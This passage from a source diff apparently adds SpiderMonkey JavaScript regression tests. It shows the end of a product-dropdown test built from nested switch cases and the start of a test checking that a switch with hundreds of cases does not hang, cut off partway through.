+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 SE', '10335'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Savage 4', '1536'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster VLB', '1537'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Voodoo 2', '1538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster PCI', '1523'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Banshee', '1506'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Banshee AGP', '1507'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 7 : // Modems & Networking
+ switch(parseInt(famID)) {
+
+ case 41 : // Wireless
+ try { addBoxItem(document.Support_Form.Product_ID, 'USB Adapter CB2431', '10863'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Network Blaster Wireless PCMCIA Card', '3868'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 42 : // Broadband
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster DSL Router 8015U', '11176'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster Router 8110', '10280'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster ADSL Bridge ', '4873'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster USB Modem', '4871'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster DSL', '4921'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 40 : // Analog
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCMCIA', '24'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 PCI', '52'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 Serial', '258'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 USB', '266'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem 56k Internal', '1715'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster Flash 56II ISA', '18'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 ISA', '19'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster Flash 56 PCI', '21'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 USB', '22'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 External', '23'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster USB (DE5675)', '8992'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster USB (DE5673)', '8991'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5663)', '4999'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5656)', '8988'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5655)', '8989'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster External (DE5625)', '8990'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster 28.8 External', '5000'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CT5451 Modem Blaster Voice PnP', '5001'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Phone Blaster', '1809'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 106 : // Software
+ switch(parseInt(famID)) {
+
+ case 241 : // HansVision DXT
+ try { addBoxItem(document.Support_Form.Product_ID, 'HansVision DXT 2005 Edition', '12218'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 242 : // Children\'s Multimedia Educational
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Happy Mandarin Series', '11269'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Happy English Series', '4932'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 107 : // HansVision
+ try { addBoxItem(document.Support_Form.Product_ID, 'HansVision DXT', '4928'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 108 : // WaWaYaYa
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Comprehensive Ability Series', '4930'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 109 : // Others
+
+ break;
+
+
+ }
+ break;
+
+ }
+ // addBoxItem(document.Support_Form.Product_ID, 'Zen Portable Media Center', 'DUMMYPREFIX_ZenPMC_Temp|9882');
+}
+
+try
+{
+ productList(0,0);
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/statements/regress-324650.js b/js/src/tests/non262/statements/regress-324650.js
new file mode 100644
index 0000000000..d4314582a6
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-324650.js
@@ -0,0 +1,5427 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 324650;
+var summary = 'Switch Statement with many cases';
+var actual = 'No Hang';
+var expect = 'No Hang';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var notevil = "z1";
+var notevil2 = "z2";
+var notevil3 = "z3";
+var dut = 7;
+var dut2 = 7;
+var dut3 = 7;
+
+/* shouldn't be evil */
+
+switch ( notevil ) {
+case "z1": dut = 2;
+ break;
+case "z2":
+ notevil = (notevil + 2)/2;
+ break;
+case "z3":
+ notevil = (notevil + 3)/2;
+ break;
+case "z4":
+ notevil = (notevil + 4)/2;
+ break;
+case "z5":
+ notevil = (notevil + 5)/2;
+ break;
+case "z6":
+ notevil = (notevil + 6)/2;
+ break;
+case "z7":
+ notevil = (notevil + 7)/2;
+ break;
+case "z8":
+ notevil = (notevil + 8)/2;
+ break;
+case "z9":
+ notevil = (notevil + 9)/2;
+ break;
+case "z10":
+ notevil = (notevil + 10)/2;
+ break;
+case "z11":
+ notevil = (notevil + 11)/2;
+ break;
+case "z12":
+ notevil = (notevil + 12)/2;
+ break;
+case "z13":
+ notevil = (notevil + 13)/2;
+ break;
+case "z14":
+ notevil = (notevil + 14)/2;
+ break;
+case "z15":
+ notevil = (notevil + 15)/2;
+ break;
+case "z16":
+ notevil = (notevil + 16)/2;
+ break;
+case "z17":
+ notevil = (notevil + 17)/2;
+ break;
+case "z18":
+ notevil = (notevil + 18)/2;
+ break;
+case "z19":
+ notevil = (notevil + 19)/2;
+ break;
+case "z20":
+ notevil = (notevil + 20)/2;
+ break;
+case "z21":
+ notevil = (notevil + 21)/2;
+ break;
+case "z22":
+ notevil = (notevil + 22)/2;
+ break;
+case "z23":
+ notevil = (notevil + 23)/2;
+ break;
+case "z24":
+ notevil = (notevil + 24)/2;
+ break;
+case "z25":
+ notevil = (notevil + 25)/2;
+ break;
+case "z26":
+ notevil = (notevil + 26)/2;
+ break;
+case "z27":
+ notevil = (notevil + 27)/2;
+ break;
+case "z28":
+ notevil = (notevil + 28)/2;
+ break;
+case "z29":
+ notevil = (notevil + 29)/2;
+ break;
+case "z30":
+ notevil = (notevil + 30)/2;
+ break;
+case "z31":
+ notevil = (notevil + 31)/2;
+ break;
+case "z32":
+ notevil = (notevil + 32)/2;
+ break;
+case "z33":
+ notevil = (notevil + 33)/2;
+ break;
+case "z34":
+ notevil = (notevil + 34)/2;
+ break;
+case "z35":
+ notevil = (notevil + 35)/2;
+ break;
+case "z36":
+ notevil = (notevil + 36)/2;
+ break;
+case "z37":
+ notevil = (notevil + 37)/2;
+ break;
+case "z38":
+ notevil = (notevil + 38)/2;
+ break;
+case "z39":
+ notevil = (notevil + 39)/2;
+ break;
+case "z40":
+ notevil = (notevil + 40)/2;
+ break;
+case "z41":
+ notevil = (notevil + 41)/2;
+ break;
+case "z42":
+ notevil = (notevil + 42)/2;
+ break;
+case "z43":
+ notevil = (notevil + 43)/2;
+ break;
+case "z44":
+ notevil = (notevil + 44)/2;
+ break;
+case "z45":
+ notevil = (notevil + 45)/2;
+ break;
+case "z46":
+ notevil = (notevil + 46)/2;
+ break;
+case "z47":
+ notevil = (notevil + 47)/2;
+ break;
+case "z48":
+ notevil = (notevil + 48)/2;
+ break;
+case "z49":
+ notevil = (notevil + 49)/2;
+ break;
+case "z50":
+ notevil = (notevil + 50)/2;
+ break;
+case "z51":
+ notevil = (notevil + 51)/2;
+ break;
+case "z52":
+ notevil = (notevil + 52)/2;
+ break;
+case "z53":
+ notevil = (notevil + 53)/2;
+ break;
+case "z54":
+ notevil = (notevil + 54)/2;
+ break;
+case "z55":
+ notevil = (notevil + 55)/2;
+ break;
+case "z56":
+ notevil = (notevil + 56)/2;
+ break;
+case "z57":
+ notevil = (notevil + 57)/2;
+ break;
+case "z58":
+ notevil = (notevil + 58)/2;
+ break;
+case "z59":
+ notevil = (notevil + 59)/2;
+ break;
+case "z60":
+ notevil = (notevil + 60)/2;
+ break;
+case "z61":
+ notevil = (notevil + 61)/2;
+ break;
+case "z62":
+ notevil = (notevil + 62)/2;
+ break;
+case "z63":
+ notevil = (notevil + 63)/2;
+ break;
+case "z64":
+ notevil = (notevil + 64)/2;
+ break;
+case "z65":
+ notevil = (notevil + 65)/2;
+ break;
+case "z66":
+ notevil = (notevil + 66)/2;
+ break;
+case "z67":
+ notevil = (notevil + 67)/2;
+ break;
+case "z68":
+ notevil = (notevil + 68)/2;
+ break;
+case "z69":
+ notevil = (notevil + 69)/2;
+ break;
+case "z70":
+ notevil = (notevil + 70)/2;
+ break;
+case "z71":
+ notevil = (notevil + 71)/2;
+ break;
+case "z72":
+ notevil = (notevil + 72)/2;
+ break;
+case "z73":
+ notevil = (notevil + 73)/2;
+ break;
+case "z74":
+ notevil = (notevil + 74)/2;
+ break;
+case "z75":
+ notevil = (notevil + 75)/2;
+ break;
+case "z76":
+ notevil = (notevil + 76)/2;
+ break;
+case "z77":
+ notevil = (notevil + 77)/2;
+ break;
+case "z78":
+ notevil = (notevil + 78)/2;
+ break;
+case "z79":
+ notevil = (notevil + 79)/2;
+ break;
+case "z80":
+ notevil = (notevil + 80)/2;
+ break;
+case "z81":
+ notevil = (notevil + 81)/2;
+ break;
+case "z82":
+ notevil = (notevil + 82)/2;
+ break;
+case "z83":
+ notevil = (notevil + 83)/2;
+ break;
+case "z84":
+ notevil = (notevil + 84)/2;
+ break;
+case "z85":
+ notevil = (notevil + 85)/2;
+ break;
+case "z86":
+ notevil = (notevil + 86)/2;
+ break;
+case "z87":
+ notevil = (notevil + 87)/2;
+ break;
+case "z88":
+ notevil = (notevil + 88)/2;
+ break;
+case "z89":
+ notevil = (notevil + 89)/2;
+ break;
+case "z90":
+ notevil = (notevil + 90)/2;
+ break;
+case "z91":
+ notevil = (notevil + 91)/2;
+ break;
+case "z92":
+ notevil = (notevil + 92)/2;
+ break;
+case "z93":
+ notevil = (notevil + 93)/2;
+ break;
+case "z94":
+ notevil = (notevil + 94)/2;
+ break;
+case "z95":
+ notevil = (notevil + 95)/2;
+ break;
+case "z96":
+ notevil = (notevil + 96)/2;
+ break;
+case "z97":
+ notevil = (notevil + 97)/2;
+ break;
+case "z98":
+ notevil = (notevil + 98)/2;
+ break;
+case "z99":
+ notevil = (notevil + 99)/2;
+ break;
+case "z100":
+ notevil = (notevil + 100)/2;
+ break;
+case "z101":
+ notevil = (notevil + 101)/2;
+ break;
+case "z102":
+ notevil = (notevil + 102)/2;
+ break;
+case "z103":
+ notevil = (notevil + 103)/2;
+ break;
+case "z104":
+ notevil = (notevil + 104)/2;
+ break;
+case "z105":
+ notevil = (notevil + 105)/2;
+ break;
+case "z106":
+ notevil = (notevil + 106)/2;
+ break;
+case "z107":
+ notevil = (notevil + 107)/2;
+ break;
+case "z108":
+ notevil = (notevil + 108)/2;
+ break;
+case "z109":
+ notevil = (notevil + 109)/2;
+ break;
+case "z110":
+ notevil = (notevil + 110)/2;
+ break;
+case "z111":
+ notevil = (notevil + 111)/2;
+ break;
+case "z112":
+ notevil = (notevil + 112)/2;
+ break;
+case "z113":
+ notevil = (notevil + 113)/2;
+ break;
+case "z114":
+ notevil = (notevil + 114)/2;
+ break;
+case "z115":
+ notevil = (notevil + 115)/2;
+ break;
+case "z116":
+ notevil = (notevil + 116)/2;
+ break;
+case "z117":
+ notevil = (notevil + 117)/2;
+ break;
+case "z118":
+ notevil = (notevil + 118)/2;
+ break;
+case "z119":
+ notevil = (notevil + 119)/2;
+ break;
+case "z120":
+ notevil = (notevil + 120)/2;
+ break;
+case "z121":
+ notevil = (notevil + 121)/2;
+ break;
+case "z122":
+ notevil = (notevil + 122)/2;
+ break;
+case "z123":
+ notevil = (notevil + 123)/2;
+ break;
+case "z124":
+ notevil = (notevil + 124)/2;
+ break;
+case "z125":
+ notevil = (notevil + 125)/2;
+ break;
+case "z126":
+ notevil = (notevil + 126)/2;
+ break;
+case "z127":
+ notevil = (notevil + 127)/2;
+ break;
+case "z128":
+ notevil = (notevil + 128)/2;
+ break;
+case "z129":
+ notevil = (notevil + 129)/2;
+ break;
+case "z130":
+ notevil = (notevil + 130)/2;
+ break;
+case "z131":
+ notevil = (notevil + 131)/2;
+ break;
+case "z132":
+ notevil = (notevil + 132)/2;
+ break;
+case "z133":
+ notevil = (notevil + 133)/2;
+ break;
+case "z134":
+ notevil = (notevil + 134)/2;
+ break;
+case "z135":
+ notevil = (notevil + 135)/2;
+ break;
+case "z136":
+ notevil = (notevil + 136)/2;
+ break;
+case "z137":
+ notevil = (notevil + 137)/2;
+ break;
+case "z138":
+ notevil = (notevil + 138)/2;
+ break;
+case "z139":
+ notevil = (notevil + 139)/2;
+ break;
+case "z140":
+ notevil = (notevil + 140)/2;
+ break;
+case "z141":
+ notevil = (notevil + 141)/2;
+ break;
+case "z142":
+ notevil = (notevil + 142)/2;
+ break;
+case "z143":
+ notevil = (notevil + 143)/2;
+ break;
+case "z144":
+ notevil = (notevil + 144)/2;
+ break;
+case "z145":
+ notevil = (notevil + 145)/2;
+ break;
+case "z146":
+ notevil = (notevil + 146)/2;
+ break;
+case "z147":
+ notevil = (notevil + 147)/2;
+ break;
+case "z148":
+ notevil = (notevil + 148)/2;
+ break;
+case "z149":
+ notevil = (notevil + 149)/2;
+ break;
+case "z150":
+ notevil = (notevil + 150)/2;
+ break;
+case "z151":
+ notevil = (notevil + 151)/2;
+ break;
+case "z152":
+ notevil = (notevil + 152)/2;
+ break;
+case "z153":
+ notevil = (notevil + 153)/2;
+ break;
+case "z154":
+ notevil = (notevil + 154)/2;
+ break;
+case "z155":
+ notevil = (notevil + 155)/2;
+ break;
+case "z156":
+ notevil = (notevil + 156)/2;
+ break;
+case "z157":
+ notevil = (notevil + 157)/2;
+ break;
+case "z158":
+ notevil = (notevil + 158)/2;
+ break;
+case "z159":
+ notevil = (notevil + 159)/2;
+ break;
+case "z160":
+ notevil = (notevil + 160)/2;
+ break;
+case "z161":
+ notevil = (notevil + 161)/2;
+ break;
+case "z162":
+ notevil = (notevil + 162)/2;
+ break;
+case "z163":
+ notevil = (notevil + 163)/2;
+ break;
+case "z164":
+ notevil = (notevil + 164)/2;
+ break;
+case "z165":
+ notevil = (notevil + 165)/2;
+ break;
+case "z166":
+ notevil = (notevil + 166)/2;
+ break;
+case "z167":
+ notevil = (notevil + 167)/2;
+ break;
+case "z168":
+ notevil = (notevil + 168)/2;
+ break;
+case "z169":
+ notevil = (notevil + 169)/2;
+ break;
+case "z170":
+ notevil = (notevil + 170)/2;
+ break;
+case "z171":
+ notevil = (notevil + 171)/2;
+ break;
+case "z172":
+ notevil = (notevil + 172)/2;
+ break;
+case "z173":
+ notevil = (notevil + 173)/2;
+ break;
+case "z174":
+ notevil = (notevil + 174)/2;
+ break;
+case "z175":
+ notevil = (notevil + 175)/2;
+ break;
+case "z176":
+ notevil = (notevil + 176)/2;
+ break;
+case "z177":
+ notevil = (notevil + 177)/2;
+ break;
+case "z178":
+ notevil = (notevil + 178)/2;
+ break;
+case "z179":
+ notevil = (notevil + 179)/2;
+ break;
+case "z180":
+ notevil = (notevil + 180)/2;
+ break;
+case "z181":
+ notevil = (notevil + 181)/2;
+ break;
+case "z182":
+ notevil = (notevil + 182)/2;
+ break;
+case "z183":
+ notevil = (notevil + 183)/2;
+ break;
+case "z184":
+ notevil = (notevil + 184)/2;
+ break;
+case "z185":
+ notevil = (notevil + 185)/2;
+ break;
+case "z186":
+ notevil = (notevil + 186)/2;
+ break;
+case "z187":
+ notevil = (notevil + 187)/2;
+ break;
+case "z188":
+ notevil = (notevil + 188)/2;
+ break;
+case "z189":
+ notevil = (notevil + 189)/2;
+ break;
+case "z190":
+ notevil = (notevil + 190)/2;
+ break;
+case "z191":
+ notevil = (notevil + 191)/2;
+ break;
+case "z192":
+ notevil = (notevil + 192)/2;
+ break;
+case "z193":
+ notevil = (notevil + 193)/2;
+ break;
+case "z194":
+ notevil = (notevil + 194)/2;
+ break;
+case "z195":
+ notevil = (notevil + 195)/2;
+ break;
+case "z196":
+ notevil = (notevil + 196)/2;
+ break;
+case "z197":
+ notevil = (notevil + 197)/2;
+ break;
+case "z198":
+ notevil = (notevil + 198)/2;
+ break;
+case "z199":
+ notevil = (notevil + 199)/2;
+ break;
+case "z200":
+ notevil = (notevil + 200)/2;
+ break;
+case "z201":
+ notevil = (notevil + 201)/2;
+ break;
+case "z202":
+ notevil = (notevil + 202)/2;
+ break;
+case "z203":
+ notevil = (notevil + 203)/2;
+ break;
+case "z204":
+ notevil = (notevil + 204)/2;
+ break;
+case "z205":
+ notevil = (notevil + 205)/2;
+ break;
+case "z206":
+ notevil = (notevil + 206)/2;
+ break;
+case "z207":
+ notevil = (notevil + 207)/2;
+ break;
+case "z208":
+ notevil = (notevil + 208)/2;
+ break;
+case "z209":
+ notevil = (notevil + 209)/2;
+ break;
+case "z210":
+ notevil = (notevil + 210)/2;
+ break;
+case "z211":
+ notevil = (notevil + 211)/2;
+ break;
+case "z212":
+ notevil = (notevil + 212)/2;
+ break;
+case "z213":
+ notevil = (notevil + 213)/2;
+ break;
+case "z214":
+ notevil = (notevil + 214)/2;
+ break;
+case "z215":
+ notevil = (notevil + 215)/2;
+ break;
+case "z216":
+ notevil = (notevil + 216)/2;
+ break;
+case "z217":
+ notevil = (notevil + 217)/2;
+ break;
+case "z218":
+ notevil = (notevil + 218)/2;
+ break;
+case "z219":
+ notevil = (notevil + 219)/2;
+ break;
+case "z220":
+ notevil = (notevil + 220)/2;
+ break;
+case "z221":
+ notevil = (notevil + 221)/2;
+ break;
+case "z222":
+ notevil = (notevil + 222)/2;
+ break;
+case "z223":
+ notevil = (notevil + 223)/2;
+ break;
+case "z224":
+ notevil = (notevil + 224)/2;
+ break;
+case "z225":
+ notevil = (notevil + 225)/2;
+ break;
+case "z226":
+ notevil = (notevil + 226)/2;
+ break;
+case "z227":
+ notevil = (notevil + 227)/2;
+ break;
+case "z228":
+ notevil = (notevil + 228)/2;
+ break;
+case "z229":
+ notevil = (notevil + 229)/2;
+ break;
+case "z230":
+ notevil = (notevil + 230)/2;
+ break;
+case "z231":
+ notevil = (notevil + 231)/2;
+ break;
+case "z232":
+ notevil = (notevil + 232)/2;
+ break;
+case "z233":
+ notevil = (notevil + 233)/2;
+ break;
+case "z234":
+ notevil = (notevil + 234)/2;
+ break;
+case "z235":
+ notevil = (notevil + 235)/2;
+ break;
+case "z236":
+ notevil = (notevil + 236)/2;
+ break;
+case "z237":
+ notevil = (notevil + 237)/2;
+ break;
+case "z238":
+ notevil = (notevil + 238)/2;
+ break;
+case "z239":
+ notevil = (notevil + 239)/2;
+ break;
+case "z240":
+ notevil = (notevil + 240)/2;
+ break;
+case "z241":
+ notevil = (notevil + 241)/2;
+ break;
+case "z242":
+ notevil = (notevil + 242)/2;
+ break;
+case "z243":
+ notevil = (notevil + 243)/2;
+ break;
+case "z244":
+ notevil = (notevil + 244)/2;
+ break;
+case "z245":
+ notevil = (notevil + 245)/2;
+ break;
+case "z246":
+ notevil = (notevil + 246)/2;
+ break;
+case "z247":
+ notevil = (notevil + 247)/2;
+ break;
+case "z248":
+ notevil = (notevil + 248)/2;
+ break;
+case "z249":
+ notevil = (notevil + 249)/2;
+ break;
+case "z250":
+ notevil = (notevil + 250)/2;
+ break;
+case "z251":
+ notevil = (notevil + 251)/2;
+ break;
+case "z252":
+ notevil = (notevil + 252)/2;
+ break;
+case "z253":
+ notevil = (notevil + 253)/2;
+ break;
+case "z254":
+ notevil = (notevil + 254)/2;
+ break;
+case "z255":
+ notevil = (notevil + 255)/2;
+ break;
+case "z256":
+ notevil = (notevil + 256)/2;
+ break;
+case "z257":
+ notevil = (notevil + 257)/2;
+ break;
+case "z258":
+ notevil = (notevil + 258)/2;
+ break;
+case "z259":
+ notevil = (notevil + 259)/2;
+ break;
+case "z260":
+ notevil = (notevil + 260)/2;
+ break;
+case "z261":
+ notevil = (notevil + 261)/2;
+ break;
+case "z262":
+ notevil = (notevil + 262)/2;
+ break;
+case "z263":
+ notevil = (notevil + 263)/2;
+ break;
+case "z264":
+ notevil = (notevil + 264)/2;
+ break;
+case "z265":
+ notevil = (notevil + 265)/2;
+ break;
+case "z266":
+ notevil = (notevil + 266)/2;
+ break;
+case "z267":
+ notevil = (notevil + 267)/2;
+ break;
+case "z268":
+ notevil = (notevil + 268)/2;
+ break;
+case "z269":
+ notevil = (notevil + 269)/2;
+ break;
+case "z270":
+ notevil = (notevil + 270)/2;
+ break;
+case "z271":
+ notevil = (notevil + 271)/2;
+ break;
+case "z272":
+ notevil = (notevil + 272)/2;
+ break;
+case "z273":
+ notevil = (notevil + 273)/2;
+ break;
+case "z274":
+ notevil = (notevil + 274)/2;
+ break;
+case "z275":
+ notevil = (notevil + 275)/2;
+ break;
+case "z276":
+ notevil = (notevil + 276)/2;
+ break;
+case "z277":
+ notevil = (notevil + 277)/2;
+ break;
+case "z278":
+ notevil = (notevil + 278)/2;
+ break;
+case "z279":
+ notevil = (notevil + 279)/2;
+ break;
+case "z280":
+ notevil = (notevil + 280)/2;
+ break;
+case "z281":
+ notevil = (notevil + 281)/2;
+ break;
+case "z282":
+ notevil = (notevil + 282)/2;
+ break;
+case "z283":
+ notevil = (notevil + 283)/2;
+ break;
+case "z284":
+ notevil = (notevil + 284)/2;
+ break;
+case "z285":
+ notevil = (notevil + 285)/2;
+ break;
+case "z286":
+ notevil = (notevil + 286)/2;
+ break;
+case "z287":
+ notevil = (notevil + 287)/2;
+ break;
+case "z288":
+ notevil = (notevil + 288)/2;
+ break;
+case "z289":
+ notevil = (notevil + 289)/2;
+ break;
+case "z290":
+ notevil = (notevil + 290)/2;
+ break;
+case "z291":
+ notevil = (notevil + 291)/2;
+ break;
+case "z292":
+ notevil = (notevil + 292)/2;
+ break;
+case "z293":
+ notevil = (notevil + 293)/2;
+ break;
+case "z294":
+ notevil = (notevil + 294)/2;
+ break;
+case "z295":
+ notevil = (notevil + 295)/2;
+ break;
+case "z296":
+ notevil = (notevil + 296)/2;
+ break;
+case "z297":
+ notevil = (notevil + 297)/2;
+ break;
+case "z298":
+ notevil = (notevil + 298)/2;
+ break;
+case "z299":
+ notevil = (notevil + 299)/2;
+ break;
+case "z300":
+ notevil = (notevil + 300)/2;
+ break;
+case "z301":
+ notevil = (notevil + 301)/2;
+ break;
+case "z302":
+ notevil = (notevil + 302)/2;
+ break;
+case "z303":
+ notevil = (notevil + 303)/2;
+ break;
+case "z304":
+ notevil = (notevil + 304)/2;
+ break;
+case "z305":
+ notevil = (notevil + 305)/2;
+ break;
+case "z306":
+ notevil = (notevil + 306)/2;
+ break;
+case "z307":
+ notevil = (notevil + 307)/2;
+ break;
+case "z308":
+ notevil = (notevil + 308)/2;
+ break;
+case "z309":
+ notevil = (notevil + 309)/2;
+ break;
+case "z310":
+ notevil = (notevil + 310)/2;
+ break;
+case "z311":
+ notevil = (notevil + 311)/2;
+ break;
+case "z312":
+ notevil = (notevil + 312)/2;
+ break;
+case "z313":
+ notevil = (notevil + 313)/2;
+ break;
+case "z314":
+ notevil = (notevil + 314)/2;
+ break;
+case "z315":
+ notevil = (notevil + 315)/2;
+ break;
+case "z316":
+ notevil = (notevil + 316)/2;
+ break;
+case "z317":
+ notevil = (notevil + 317)/2;
+ break;
+case "z318":
+ notevil = (notevil + 318)/2;
+ break;
+case "z319":
+ notevil = (notevil + 319)/2;
+ break;
+case "z320":
+ notevil = (notevil + 320)/2;
+ break;
+case "z321":
+ notevil = (notevil + 321)/2;
+ break;
+case "z322":
+ notevil = (notevil + 322)/2;
+ break;
+case "z323":
+ notevil = (notevil + 323)/2;
+ break;
+case "z324":
+ notevil = (notevil + 324)/2;
+ break;
+case "z325":
+ notevil = (notevil + 325)/2;
+ break;
+case "z326":
+ notevil = (notevil + 326)/2;
+ break;
+case "z327":
+ notevil = (notevil + 327)/2;
+ break;
+case "z328":
+ notevil = (notevil + 328)/2;
+ break;
+case "z329":
+ notevil = (notevil + 329)/2;
+ break;
+case "z330":
+ notevil = (notevil + 330)/2;
+ break;
+case "z331":
+ notevil = (notevil + 331)/2;
+ break;
+case "z332":
+ notevil = (notevil + 332)/2;
+ break;
+case "z333":
+ notevil = (notevil + 333)/2;
+ break;
+case "z334":
+ notevil = (notevil + 334)/2;
+ break;
+case "z335":
+ notevil = (notevil + 335)/2;
+ break;
+case "z336":
+ notevil = (notevil + 336)/2;
+ break;
+case "z337":
+ notevil = (notevil + 337)/2;
+ break;
+case "z338":
+ notevil = (notevil + 338)/2;
+ break;
+case "z339":
+ notevil = (notevil + 339)/2;
+ break;
+case "z340":
+ notevil = (notevil + 340)/2;
+ break;
+case "z341":
+ notevil = (notevil + 341)/2;
+ break;
+case "z342":
+ notevil = (notevil + 342)/2;
+ break;
+case "z343":
+ notevil = (notevil + 343)/2;
+ break;
+case "z344":
+ notevil = (notevil + 344)/2;
+ break;
+case "z345":
+ notevil = (notevil + 345)/2;
+ break;
+case "z346":
+ notevil = (notevil + 346)/2;
+ break;
+case "z347":
+ notevil = (notevil + 347)/2;
+ break;
+case "z348":
+ notevil = (notevil + 348)/2;
+ break;
+case "z349":
+ notevil = (notevil + 349)/2;
+ break;
+case "z350":
+ notevil = (notevil + 350)/2;
+ break;
+case "z351":
+ notevil = (notevil + 351)/2;
+ break;
+case "z352":
+ notevil = (notevil + 352)/2;
+ break;
+case "z353":
+ notevil = (notevil + 353)/2;
+ break;
+case "z354":
+ notevil = (notevil + 354)/2;
+ break;
+case "z355":
+ notevil = (notevil + 355)/2;
+ break;
+case "z356":
+ notevil = (notevil + 356)/2;
+ break;
+case "z357":
+ notevil = (notevil + 357)/2;
+ break;
+case "z358":
+ notevil = (notevil + 358)/2;
+ break;
+case "z359":
+ notevil = (notevil + 359)/2;
+ break;
+case "z360":
+ notevil = (notevil + 360)/2;
+ break;
+case "z361":
+ notevil = (notevil + 361)/2;
+ break;
+case "z362":
+ notevil = (notevil + 362)/2;
+ break;
+case "z363":
